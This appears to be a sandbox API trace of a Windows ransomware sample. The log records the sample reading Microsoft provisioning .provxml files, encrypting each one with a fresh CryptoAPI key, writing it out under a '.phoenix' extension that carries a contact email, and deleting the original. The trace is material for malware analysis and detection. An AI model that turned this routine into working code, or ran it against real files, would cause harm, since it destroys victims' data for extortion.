	[0257.755] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c6, lpOverlapped=0x0) returned 1
	[0257.756] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0257.756] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0257.757] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0257.757] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.757] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0257.757] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0257.757] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0257.757] CryptDestroyKey (hKey=0x151300) returned 1
	[0257.757] CloseHandle (hObject=0x2e0) returned 1
	[0257.757] CloseHandle (hObject=0x2f4) returned 1
	[0257.758] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0257.759] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.759] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.760] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=866) returned 1
	[0257.760] CloseHandle (hObject=0x2f4) returned 1
	[0257.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.760] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.760] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.760] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.760] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.761] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151540) returned 1
	[0257.761] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.761] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x362, lpOverlapped=0x0) returned 1
	[0257.764] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x370, dwBufLen=0x370 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x370) returned 1
	[0257.764] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x370, lpOverlapped=0x0) returned 1
	[0257.765] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0257.765] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.766] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.766] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.766] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.766] CryptDestroyKey (hKey=0x151540) returned 1
	[0257.766] CloseHandle (hObject=0x2f4) returned 1
	[0257.766] CloseHandle (hObject=0x2e0) returned 1
	[0257.766] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.767] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.767] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.768] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=468) returned 1
	[0257.768] CloseHandle (hObject=0x2e0) returned 1
	[0257.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0257.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.768] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.768] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.768] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.769] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.769] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0257.769] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.769] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d4, lpOverlapped=0x0) returned 1
	[0257.770] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0257.771] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0257.772] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0257.772] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.772] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.772] CryptDestroyKey (hKey=0x151180) returned 1
	[0257.772] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.773] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.773] CloseHandle (hObject=0x2e0) returned 1
	[0257.773] CloseHandle (hObject=0x2f4) returned 1
	[0257.773] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0257.774] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.774] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.775] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=851) returned 1
	[0257.775] CloseHandle (hObject=0x2f4) returned 1
	[0257.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.775] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.775] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.775] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.775] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.776] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151540) returned 1
	[0257.776] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.776] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x353, lpOverlapped=0x0) returned 1
	[0257.778] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0257.778] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0257.779] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0257.779] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.780] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.780] CryptDestroyKey (hKey=0x151040) returned 1
	[0257.780] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.780] CryptDestroyKey (hKey=0x151540) returned 1
	[0257.780] CloseHandle (hObject=0x2f4) returned 1
	[0257.780] CloseHandle (hObject=0x2e0) returned 1
	[0257.780] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\66__connections_cellular_entel pcs (chile)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.781] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.781] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.781] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=454) returned 1
	[0257.782] CloseHandle (hObject=0x2e0) returned 1
	[0257.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0257.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.782] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.782] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.782] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0257.783] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.783] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c6, lpOverlapped=0x0) returned 1
	[0257.842] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0257.843] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0257.844] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0257.844] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.844] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0257.844] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.844] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0257.844] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0257.844] CloseHandle (hObject=0x2e0) returned 1
	[0257.844] CloseHandle (hObject=0x2f4) returned 1
	[0257.844] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\670__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0257.845] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
